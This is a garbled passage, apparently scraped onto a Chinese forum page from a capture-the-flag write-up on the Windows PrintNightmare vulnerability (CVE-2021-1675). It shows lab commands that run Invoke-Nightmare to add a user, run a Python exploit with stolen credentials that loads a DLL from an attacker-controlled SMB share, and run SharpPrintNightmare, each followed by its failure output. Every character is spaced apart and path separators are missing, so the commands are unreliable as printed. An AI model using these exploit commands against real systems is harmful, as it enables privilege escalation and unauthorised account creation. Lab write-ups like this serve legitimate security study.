/ 0 7 / 0 8 / p l a y i n g - w i t h - p r i n t n i g h t m a r e . h t m l * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   I n v o k e - N i g h t m a r e   - N e w U s e r   " 0 x d f "   - N e w P a s s w o r d   " 0 x d f 0 x d f " [ + ]   c r e a t e d   p a y l o a d   a t   C : U s e r s C h a s e A p p D a t a L o c a l T e m p n i g h t m a r e . d l l [ ! ]   f a i l e d   t o   g e t   c u r r e n t   d r i v e r   l i s t ( v e n v )   o x d f @ p a r r o t $   p y t h o n 3   C V E - 2 0 2 1 - 1 6 7 5 . p y   ' H E I S T / h a z a r d : s t e a l t h 1 a g e n t @ 1 0 . 1 0 . 1 0 . 1 4 9 '   ' 1 0 . 1 0 . 1 4 . 2 0 0 s h a r e A d d U s e r D l l . d l l ' [ * ]   C o n n e c t i n g   t o   n c a c n _ n p : 1 0 . 1 0 . 1 0 . 1 4 9 [ P I P E s p o o l s s ] [ - ]   C o n n e c t i o n   F a i l e d * E v i l - W i n R M *   P S   C : p r o g r a m d a t a >   . S h a r p P r i n t N i g h t m a r e . e x e   p r o g r a m d a t a A d d U s e r D l l . d l l S h a r p P r i n t N i g h t m a r e . e x e   :           +   C a t e g o r y I n f o                     :   N o t S p e c i f i e d :   ( : S t r i n g )   [ ] ,   R e m o t e E x c e p t i o n         +   F u l l y Q u a l i f i e d E r r o r I d   :   N a t i v e C o m m a n d E r r o r U n h a n d l e d   E x c e p t i o n :   S y s t e m . C o m p o n e n t M o d e l . W i n 3 2 E x c e p t i o n :   T h e   R P C   s e r v e r   i s   u n a v a i l a b l e a t   S h a r p P r i n t N i g h t m a r e . P r o g r a m . g e t D r i v e r s ( ) a t   S h a r p P r i n t N i g h t m a r e . P r o g r a m . M a i n ( S t r i n g [ ]   a r g s )
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理